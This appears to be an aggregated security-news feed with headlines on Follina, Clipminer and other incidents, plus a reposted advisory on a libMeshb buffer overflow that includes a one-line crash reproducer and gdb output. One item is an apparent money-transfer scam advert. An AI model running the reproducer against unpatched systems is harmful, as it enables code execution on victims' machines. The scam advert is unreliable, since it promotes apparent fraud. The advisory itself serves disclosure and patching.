Dark Reading: Attacks/Breaches
Fighting Follina: Application Vulnerabilities and Detection Possibilities

Although organizations should perform proper risk analysis and patch as soon as practical after there's a fix for this vulnerability, defenders still have options before that's released.

Dark Reading: Attacks/Breaches
'Clipminer' Malware Actors Steal $1.7 Million Using Clipboard Hijacking

The malware targets Windows users via Trojanized downloads of cracked or pirated software and then starts in on cryptocurrency mining and clipboard hijacking.

Dark Reading: Attacks/Breaches
Building America's Cybersecurity Infrastructure

The government is putting the right skills and expertise in place to fight the rising cyber threat.

Hacking on Medium
Hacking an AWS hosted Kubernetes backed product, and failing

https://cdn-images-1.medium.com/max/1920/1*Xl4Qt0EvIav3BuzlK4cCdw.jpeg
Tales from a recent pentest of a product hosted on the AWS cloud backed by Kubernetes (EKS) and a whole lot of secure design goodness that…

Continue reading on Appsecco »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Did you know that users can modify your JavaScript variables from Browser console?

https://cdn-images-1.medium.com/max/959/1*mXzNJ6aLwZUzbsFvMsfe6g.gif
You wouldn’t believe how easy it is to mess with client-side scripts. If you too use JS in your frontend to make backend calls, read along!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HOT QUICK Cashapp Paypal Western Union Transfer Secured High balance bank transfer

ALBERT’S CASH TEAM SERVICE WORLDWIDE(GET RICH NOW/SOLVE ALL PROBLEM NOW)

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How CoFix user’s got hacked 150K USDT

https://cdn-images-1.medium.com/max/1188/1*bqx3x8Um5ZA27cHJOXsJEA.png
Hello there and warm welcome to Elessar Labs! We are a Hong Kong based blockchain R&D team specialized in ecosystem security.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Follina 0day — CVE-2022–30190

https://cdn-images-1.medium.com/max/1481/1*fY11cRFWMecJwk16FaQJOw.png
Por volta do dia 30/05 de 2022 a Microsoft publicou de forma oficial a vulnerabilidade denominada Follina na qual está presente no…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
FBI incauta dominios utilizados para vender datos robados, servicios DDoS

https://cdn-images-1.medium.com/max/1645/0*Xj1-mDT59usz3-mn
PUBLICADO EN 1 JUNIO, 2022 EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Las fugas de Conti revelan el interés de la banda de ransomware en los ataques basados ​​en…

https://cdn-images-1.medium.com/max/1673/0*rXFfrLyFc1dkymNd
PUBLICADO EN 2 JUNIO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
libMeshb Buffer Overflow

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
libMeshb suffers from a buffer overflow vulnerability. Version 7.62 has been released to address this issue.

SHA-256 | 4eb31ef6c78c0a4496bb470b1fbeb940f7fb6e6336a12f36aa32c13366a7a515

Download
=====
Intro
=====

libMeshb is a library which supports moving between data types for the Gamma Mesh Format. A buffer overflow was found when parsing the MESH format and specially crafted .mesh files could allow for arbitrary code execution.

=====
Repro
=====

No magic bytes or valid header necessary as the bug appears to be an unbounded fscanf() processing mesh headers.

echo -ne `perl -e 'print "B" x 2176'` > test.mesh

========
Debugger
========

(gdb) r test.mesh /tmp/empty.mesh
Starting program: mesh2poly test.mesh /tmp/empty.mesh

*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7ddb859 in __GI_abort () at abort.c:79
#2 0x00007ffff7e463ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f7007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3 0x00007ffff7ee8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7f70064 "stack smashing detected") at fortify_fail.c:26
#4 0x00007ffff7ee8b16 in __stack_chk_fail () at stack_chk_fail.c:24
#5 0x000055555555b5d2 in GmfOpenMesh ()
#6 0x4242424242424242 in ?? ()
#7 0x0000000000000000 in ?? ()

(gdb) exploitable
Description: Stack buffer overflow
Short description: StackBufferOverflow (6/22)
Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1
Exploitability Classification: EXPLOITABLE
Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable.
Other tags: PossibleStackCorruption (7/22), AbortSignal (20/22)

This also affects the python wrapper library pymeshb.

>>> import pymeshb
>>> pymeshb.read('test.mesh')
*** stack smashing detected ***: terminated
Aborted (core dumped)

===
Fix
===

libMeshb v7.62

- https://github.com/LoicMarechal/libMeshb/commit/8cd68c54e0647c0030ae4506a225ad4a2655c316


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How useful are code practice websites like hackerrank and codewars when it come to hacking?

How much would sharpening my coding skill be useful in relation to my goal of learning and being good at hacking?

submitted by /u/multioutletplug
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video